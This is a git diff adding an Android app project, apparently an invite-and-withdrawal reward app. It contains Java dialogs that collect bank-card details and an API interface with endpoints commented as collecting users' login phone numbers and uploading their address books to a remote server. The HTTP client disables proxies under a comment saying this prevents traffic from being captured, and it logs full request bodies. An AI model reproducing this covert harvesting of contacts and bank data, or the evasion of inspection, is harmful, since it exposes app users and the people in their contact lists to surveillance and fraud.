b/base_no_music/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar differ diff --git a/base_no_music/proguard-rules.pro b/base_no_music/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/base_no_music/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/base_no_music/release/output-metadata.json b/base_no_music/release/output-metadata.json new file mode 100644 index 0000000..e48e90a --- /dev/null +++ b/base_no_music/release/output-metadata.json @@ -0,0 +1,18 @@ +{ + "version": 2, + "artifactType": { + "type": "APK", + "kind": "Directory" + }, + "applicationId": "com.web.testapp", + "variantName": "processReleaseResources", + "elements": [ + { + "type": "SINGLE", + "filters": [], + "versionCode": 107, + "versionName": "v1.0.7", + "outputFile": "app-release.apk" + } + ] +} \ No newline at end of file diff --git a/base_no_music/release/testweb.apk b/base_no_music/release/testweb.apk new file mode 100644 index 0000000..e33b812 Binary files /dev/null and b/base_no_music/release/testweb.apk differ diff --git a/base_no_music/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/base_no_music/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/base_no_music/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/base_no_music/src/main/AndroidManifest.xml b/base_no_music/src/main/AndroidManifest.xml new file mode 100644 index 0000000..df1c588 --- /dev/null +++ b/base_no_music/src/main/AndroidManifest.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/java/com/web/base/ActionBankInfoDialog.java b/base_no_music/src/main/java/com/web/base/ActionBankInfoDialog.java new file mode 100644 index 0000000..de6fa06 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/ActionBankInfoDialog.java @@ -0,0 +1,205 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 填写银行卡信息 + */ +public class ActionBankInfoDialog extends Dialog { + private final Context context; + private TextView tvBankNameCountry; + private TextView tvbankName; + private EditText bankInfoName; + private EditText bankInfoCode; + private TextView cancelTv; + private TextView sumbitTv; + private String myInviteCode; + private BankInfo itemSelector; + private RecyclerView recyclerView; + private RecyclerView recyclerViewCountry; + private List listdata = new ArrayList<>(); + private List listcountry = new ArrayList<>(); + private MyBankListAdapter adapter; + private MyListAdapter listCountryAdapter; + + public ActionBankInfoDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_bankinfo); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> dismiss()); + tvBankNameCountry = findViewById(R.id.inputcountry_tv); + tvbankName = findViewById(R.id.inputbankname_tv); + bankInfoName = findViewById(R.id.inputname_tv); + bankInfoCode = findViewById(R.id.inputcode_tv); + getBankInfoList(); + sumbitTv = findViewById(R.id.sumbit_tv); + recyclerViewCountry = findViewById(R.id.recycler_bankcountry); + recyclerViewCountry.setLayoutManager(new LinearLayoutManager(context)); + listCountryAdapter = new MyListAdapter(listcountry); + recyclerViewCountry.setAdapter(listCountryAdapter); + listCountryAdapter.setOnItemClick(new MyListAdapter.onItemClickPostionListener() { + @Override + public void item(int position) { + tvBankNameCountry.setText(listcountry.get(position)); + recyclerViewCountry.setVisibility(View.GONE); + } + }); + recyclerView = findViewById(R.id.recycler_bankname); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + adapter = new MyBankListAdapter(listdata); + recyclerView.setAdapter(adapter); + adapter.setOnItemClick(position -> { + itemSelector = listdata.get(position); + tvbankName.setText(itemSelector.getBankName()); + recyclerView.setVisibility(View.GONE); + }); + + tvbankName.setText(MainActivity.getString(context, "bankname", "")); + tvBankNameCountry.setText(MainActivity.getString(context, "bankcode", context.getString(R.string.app_bankinfo_countrycode))); + bankInfoName.setText(MainActivity.getString(context, "name", "")); + + bankInfoCode.setText(MainActivity.getString(context, "bankno", "")); + tvBankNameCountry.setOnClickListener(view -> { + recyclerView.setVisibility(View.GONE); + if (recyclerViewCountry.getVisibility() == View.VISIBLE) { + recyclerViewCountry.setVisibility(View.GONE); + return; + } + recyclerViewCountry.setVisibility(View.VISIBLE); + }); + tvbankName.setOnClickListener(view -> { + if (TextUtils.isEmpty(tvBankNameCountry.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_bankcountry_hint), Toast.LENGTH_SHORT).show(); + return; + } + recyclerViewCountry.setVisibility(View.GONE); + if (recyclerView.getVisibility() == View.VISIBLE) { + recyclerView.setVisibility(View.GONE); + return; + } + recyclerView.setVisibility(View.VISIBLE); + }); + + sumbitTv.setOnClickListener(view -> { + if (TextUtils.isEmpty(tvBankNameCountry.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_bankname_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (TextUtils.isEmpty(bankInfoName.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_name_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (TextUtils.isEmpty(bankInfoCode.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_code_hint), Toast.LENGTH_SHORT).show(); + return; + } + + toSubmit(tvbankName.getText().toString(), bankInfoName.getText().toString(), bankInfoCode.getText().toString()); + + }); + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getBankInfoList() { + Api.getInstance().getBankInfoList() + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>>() { + @Override + public void onSuccess(Result>> o) { + + listdata.clear(); + listcountry.clear(); + if (o.data != null) { + for (Map.Entry> entry : o.data.entrySet()) { + listdata.addAll(entry.getValue()); + listcountry.add(entry.getKey()); + } + adapter.setListdata(listdata); + listCountryAdapter.setListdata(listcountry); + } + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result>> o) { + + } + }); + } + + public void toSubmit(String bankname, String bankinfoname, String bankinfocode) { + HashMap map = new HashMap<>(); + map.put("inviteCode", myInviteCode); + map.put("name", bankinfoname); + map.put("bankNo", bankinfocode); + map.put("bankId", itemSelector.getId()); + map.put("bankName", bankname); + Api.getInstance().sendBankInfo(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + dismiss(); + MainActivity.saveString(context, "bankname", bankname); + MainActivity.saveString(context, "name", bankinfoname); + MainActivity.saveString(context, "bankno", bankinfocode); + MainActivity.saveString(context, "bankcode", itemSelector.getBankCode()); + } + + @Override + public void onError(int code, String msg) { + Toast.makeText(context, msg, Toast.LENGTH_SHORT).show(); + + } + + @Override + public void onError2(Result o) { + Toast.makeText(context, o.error, Toast.LENGTH_SHORT).show(); + } + }); + } + +} diff --git a/base_no_music/src/main/java/com/web/base/ActionConfirmDialog.java b/base_no_music/src/main/java/com/web/base/ActionConfirmDialog.java new file mode 100644 index 0000000..2f516b7 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/ActionConfirmDialog.java @@ -0,0 +1,124 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.ViewTreeObserver; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +/** + * 通用弹窗 + */ +public class ActionConfirmDialog extends Dialog { + private final Context context; + private View lineV; + + private TextView contentTv; + private TextView cancelTv; + private TextView sumbitTv; + String title; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(); + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionConfirmDialog(Context context, String content,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.showCancel = showCancel; + } + public ActionConfirmDialog(Context context, String content, String cancel, String sure) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + } + + public ActionConfirmDialog(Context context, String content, String cancel, String sure,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_confirm); + + contentTv = (TextView) findViewById(R.id.content_tv); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + + lineV = (View) findViewById(R.id.line_v); + + contentTv.setText(content); + contentTv.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() { + @Override + public boolean onPreDraw() { + //这个监听的回调是异步的,在监听完以后一定要把绘制监听移除,不然这个会一直回调,导致界面错乱 + contentTv.getViewTreeObserver().removeOnPreDrawListener(this); + int line = contentTv.getLineCount(); + if(line>1){ + contentTv.setGravity(Gravity.LEFT|Gravity.CENTER_VERTICAL); + } + + return true; + } + }); + if(!TextUtils.isEmpty(cancel)){ + cancelTv.setText(cancel); + } + if(!TextUtils.isEmpty(sure)){ + sumbitTv.setText(sure); + } + if(!showCancel){ + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toSumbit(); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toCancel(); + } + }); + + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_no_music/src/main/java/com/web/base/ActionInviteDialog.java b/base_no_music/src/main/java/com/web/base/ActionInviteDialog.java new file mode 100644 index 0000000..3ec9f8f --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/ActionInviteDialog.java @@ -0,0 +1,104 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + + +/** + * 填写邀请码 + */ +public class ActionInviteDialog extends Dialog { + private final Context context; + private View lineV; + + + private EditText inputTxt; + private TextView cancelTv; + private TextView sumbitTv; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(String content); + + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionInviteDialog(Context context, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.showCancel = showCancel; + } + + public ActionInviteDialog(Context context, String cancel, String sure, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + lineV = (View) findViewById(R.id.line_v); + inputTxt = findViewById(R.id.input_tv); + if (!TextUtils.isEmpty(cancel)) { + cancelTv.setText(cancel); + } + if (!TextUtils.isEmpty(sure)) { + sumbitTv.setText(sure); + } + if (!showCancel) { + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + if (TextUtils.isEmpty(inputTxt.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (onToActionListener != null) { + onToActionListener.toSumbit(inputTxt.getText().toString()); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if (onToActionListener != null) { + onToActionListener.toCancel(); + } + }); + + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_no_music/src/main/java/com/web/base/ActionInviteRecordsDialog.java b/base_no_music/src/main/java/com/web/base/ActionInviteRecordsDialog.java new file mode 100644 index 0000000..02db642 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/ActionInviteRecordsDialog.java @@ -0,0 +1,120 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 展示邀请记录 + */ +public class ActionInviteRecordsDialog extends Dialog { + private Context context; + private String myInviteCode; + private List listdata = new ArrayList<>(); + + private RecyclerView recyclerView; + private MyListAdapter listAdapter; + private TextView tvTitle; + private TextView tvBalance; + private TextView tvTotalEarning; + private int page = 1; + + + public ActionInviteRecordsDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite_records); + recyclerView = findViewById(R.id.recycler_list); + tvTitle = findViewById(R.id.content_tv); + tvBalance = findViewById(R.id.balance_tv); + tvTotalEarning = findViewById(R.id.totalearnings_tv); + tvTitle.setText(context.getString(R.string.app_invitetitle)); + findViewById(R.id.layout_balance).setVisibility(View.GONE); + getRecords(); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> { + dismiss(); + }); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + listAdapter = new MyListAdapter(listdata); + recyclerView.setAdapter(listAdapter); + setCanceledOnTouchOutside(false); + setCancelable(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getRecords() { + Api.getInstance().getRecords(myInviteCode, page, 20) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if(o.data!=null){ + findViewById(R.id.layout_balance).setVisibility(View.VISIBLE); + InviteListInfo inviteInfo = o.data; + tvBalance.setText(String.format(context.getString(R.string.app_balance), inviteInfo.getInviteCode().getBalance())); + tvTotalEarning.setText(String.format(context.getString(R.string.app_totalearning), inviteInfo.getInviteCode().getIncome())); + if (page == 1) { + listdata = inviteInfo.getList(); + } else { + listdata.addAll(inviteInfo.getList()); + } + if (listdata.size() > 0) { + listAdapter.setListdata(listdata); + recyclerView.setVisibility(View.VISIBLE); + } else { + recyclerView.setVisibility(View.GONE); + } + tvTitle.setText(context.getString(R.string.app_invitetitle) + " (" + inviteInfo.getTotal() + ")"); + if (listdata.size() < inviteInfo.getTotal()) { + page++; + getRecords(); + } + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + if (page == 1) { + recyclerView.setVisibility(View.GONE); + } + } + + @Override + public void onError2(Result o) { + if (page == 1) { + recyclerView.setVisibility(View.GONE); + } + } + }); + } +} diff --git a/base_no_music/src/main/java/com/web/base/ActionSelectDialog.java b/base_no_music/src/main/java/com/web/base/ActionSelectDialog.java new file mode 100644 index 0000000..aad19a6 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/ActionSelectDialog.java @@ -0,0 +1,95 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +public class ActionSelectDialog extends Dialog { + + private TextView shareTv; + private TextView checkTv; + OnToActionListener onToLoginListener; + private Context mContext; + + public interface OnToActionListener { + void toShare(); + + void toCheck(); + + void toWithDrawRecords(); + + void toWithDrawApply(); + + void toBankInfo(); + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToLoginListener = onNextCallListener; + } + + + public ActionSelectDialog(Context context) { + super(context, R.style.MaterialDesignDialog); + this.mContext = context; + + } + + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + setContentView(R.layout.dialog_select_action); + + shareTv = (TextView) findViewById(R.id.share); + checkTv = (TextView) findViewById(R.id.check); + + shareTv.setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toShare(); + } + }); + checkTv.setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toCheck(); + } + }); + //提现记录 + findViewById(R.id.withdraw).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toWithDrawRecords(); + } + }); + //提现申请 + findViewById(R.id.withdraw_apply).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toWithDrawApply(); + } + }); + //银行卡信息 + findViewById(R.id.bankinfo).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toBankInfo(); + } + }); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.BOTTOM; + wlp.width = WindowManager.LayoutParams.MATCH_PARENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + window.setAttributes(wlp); + } + + +} diff --git a/base_no_music/src/main/java/com/web/base/ActionWithDrawApplyDialog.java b/base_no_music/src/main/java/com/web/base/ActionWithDrawApplyDialog.java new file mode 100644 index 0000000..67e6b23 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/ActionWithDrawApplyDialog.java @@ -0,0 +1,112 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + + +/** + * 提现申请 + */ +public class ActionWithDrawApplyDialog extends Dialog { + private final Context context; + private View lineV; + private EditText inputTxt; + private TextView cancelTv; + private TextView sumbitTv; + private TextView balanceTv; + String content; + String cancel = null; + String sure = null; + String myInviteCode; + private boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(String content); + + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionWithDrawApplyDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + public ActionWithDrawApplyDialog(Context context, String cancel, String sure, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_withdrawapply); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + balanceTv = findViewById(R.id.balance_tv); + balanceTv.setText(String.format(context.getString(R.string.app_balance), MainActivity.getString(context, "balance", "0"))); + lineV = (View) findViewById(R.id.line_v); + inputTxt = findViewById(R.id.input_tv); + if (!TextUtils.isEmpty(cancel)) { + cancelTv.setText(cancel); + } + if (!TextUtils.isEmpty(sure)) { + sumbitTv.setText(sure); + } + if (!showCancel) { + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + findViewById(R.id.tv_records).setOnClickListener(view -> { + ActionWithDrawRecordsDialog actionDialog = new ActionWithDrawRecordsDialog(context, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + }); + sumbitTv.setOnClickListener(v -> { + if (TextUtils.isEmpty(inputTxt.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_withdraw_apply_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (onToActionListener != null) { + onToActionListener.toSumbit(inputTxt.getText().toString()); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if (onToActionListener != null) { + onToActionListener.toCancel(); + } + }); + + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_no_music/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java b/base_no_music/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java new file mode 100644 index 0000000..a9f8fbe --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java @@ -0,0 +1,118 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 展示申请记录 + */ +public class ActionWithDrawRecordsDialog extends Dialog { + private Context context; + private String myInviteCode; + private List listdata = new ArrayList<>(); + + private RecyclerView recyclerView; + private MyWithDrwaListAdapter listAdapter; + private TextView tvNoData; + private TextView tvTitle; + private TextView tvBalance; + private TextView tvTotalEarning; + private int page = 1; + + + public ActionWithDrawRecordsDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite_records); + recyclerView = findViewById(R.id.recycler_list); + tvNoData = findViewById(R.id.tv_nodata); + tvTitle = findViewById(R.id.content_tv); + findViewById(R.id.layout_balance).setVisibility(View.GONE); + tvTitle.setText(context.getString(R.string.app_withdrawtitle)); + getRecords(); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> { + dismiss(); + }); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + listAdapter = new MyWithDrwaListAdapter(context, listdata); + recyclerView.setAdapter(listAdapter); + setCanceledOnTouchOutside(false); + setCancelable(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getRecords() { + Api.getInstance().getWithDrawRecords(myInviteCode, page, 20) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if (o.data != null) { + WithDrawListInfo inviteInfo = o.data; + if (page == 1) { + listdata = inviteInfo.getList(); + } else { + listdata.addAll(inviteInfo.getList()); + } + if (listdata.size() > 0) { + listAdapter.setListdata(listdata); + recyclerView.setVisibility(View.VISIBLE); + } else { + recyclerView.setVisibility(View.GONE); + } + if (listdata.size() < inviteInfo.getTotal()) { + page++; + getRecords(); + } + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + if (page == 1) { + recyclerView.setVisibility(View.GONE); + tvNoData.setVisibility(View.VISIBLE); + } + } + + @Override + public void onError2(Result o) { + if (page == 1) { + recyclerView.setVisibility(View.GONE); + tvNoData.setVisibility(View.VISIBLE); + } + } + }); + } +} diff --git a/base_no_music/src/main/java/com/web/base/Api.java b/base_no_music/src/main/java/com/web/base/Api.java new file mode 100644 index 0000000..286a17d --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/Api.java @@ -0,0 +1,68 @@ +package com.web.base; + +import java.net.Proxy; +import java.util.concurrent.TimeUnit; + +import okhttp3.OkHttpClient; +import okhttp3.logging.HttpLoggingInterceptor; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.mvvm.api + * 文件名: Api + * 创建时间: 2019-03-27 on 14:56 + * 描述: TODO 使用Retrofit基础服务 + * + * @author + */ + +public class Api extends BaseApi { + + private static final long CONNECT_TIMEOUT = 10; + private static final long READ_TIMEOUT = 10; + private static final long WRITE_TIMEOUT = 10; + + /** + * 静态内部类单例 + */ + private static class ApiHolder { + private static Api api = new Api(); + private final static ApiService apiService = api.initRetrofit(ApiService.URL) + .create(ApiService.class); + + } + + public static ApiService getInstance() { + return ApiHolder.apiService; + } + /** + * 做自己需要的操作 + */ + @Override + protected OkHttpClient setClient() { + OkHttpClient.Builder builder; + builder = new OkHttpClient() + .newBuilder(); + //禁止使用代理抓取数据 + builder.proxy(Proxy.NO_PROXY); + //设置超时 + builder.connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS); + builder.readTimeout(READ_TIMEOUT, TimeUnit.SECONDS); + builder.writeTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS); + //错误重连 + builder.retryOnConnectionFailure(true); + +// if (Config.IS_DEBUG) { + HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor(message -> { + String text = message; + LogUtils.i("OKHttp111111-----", text); + + }); + interceptor.setLevel(HttpLoggingInterceptor.Level.BODY); + builder.addInterceptor(interceptor); +// } + return builder.build(); + + } + +} diff --git a/base_no_music/src/main/java/com/web/base/ApiService.java b/base_no_music/src/main/java/com/web/base/ApiService.java new file mode 100644 index 0000000..4bc75c3 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/ApiService.java @@ -0,0 +1,114 @@ +package com.web.base; + + +import java.util.List; +import java.util.Map; + +import io.reactivex.Observable; +import okhttp3.RequestBody; +import retrofit2.http.Body; +import retrofit2.http.GET; +import retrofit2.http.Headers; +import retrofit2.http.POST; +import retrofit2.http.PUT; +import retrofit2.http.Query; + +public interface ApiService { + //String URL = "http://8.218.177.7:18000/"; + String URL = "https://api.liulao.top/"; +// String URL = "http://192.168.8.184:8000/"; + + String savenotify ="notify"; + + + @GET("api/system/applicationConf") + Observable> geUrlNew(@Query("userId") int userId); + + /** + * 搜集登录手机号 + */ + @POST("app/loginUser") + Observable appLoginUser(@Body Map map); + + /** + * 上传通讯录 + */ + @Headers("Content-Type:application/json") + @POST("api/customer/customers") + Observable readContact(@Body RequestBody requestBody); + + /** + * 統計下載量 + */ + @PUT("api/statistics/downloads") + Observable downloadNumbers(@Body Map map); + + /** + * 每日活跃统计 + */ + @PUT("api/statistics/use") + Observable totalTongJi(@Body Map map); + + /** + * 验证邀请码 + */ + @PUT("api/invite/send") + Observable> checkInvited(@Body Map map); + + /** + * 获取我的邀请码 + */ + @POST("api/invite/my") + Observable> getMyInvited(@Body Map map); + + /** + * 统计通知 + */ + @POST("api/push/statistics") + Observable totalNotify(@Body Map map); + + /** + * 获取邀请记录 + */ + @GET("/api/invite/records") + Observable> getRecords(@Query("code") String inviteCode, @Query("page") int page, @Query("size") int size); + + + /** + * 获取提现记录 + */ + @GET("/api/withdraw") + Observable> 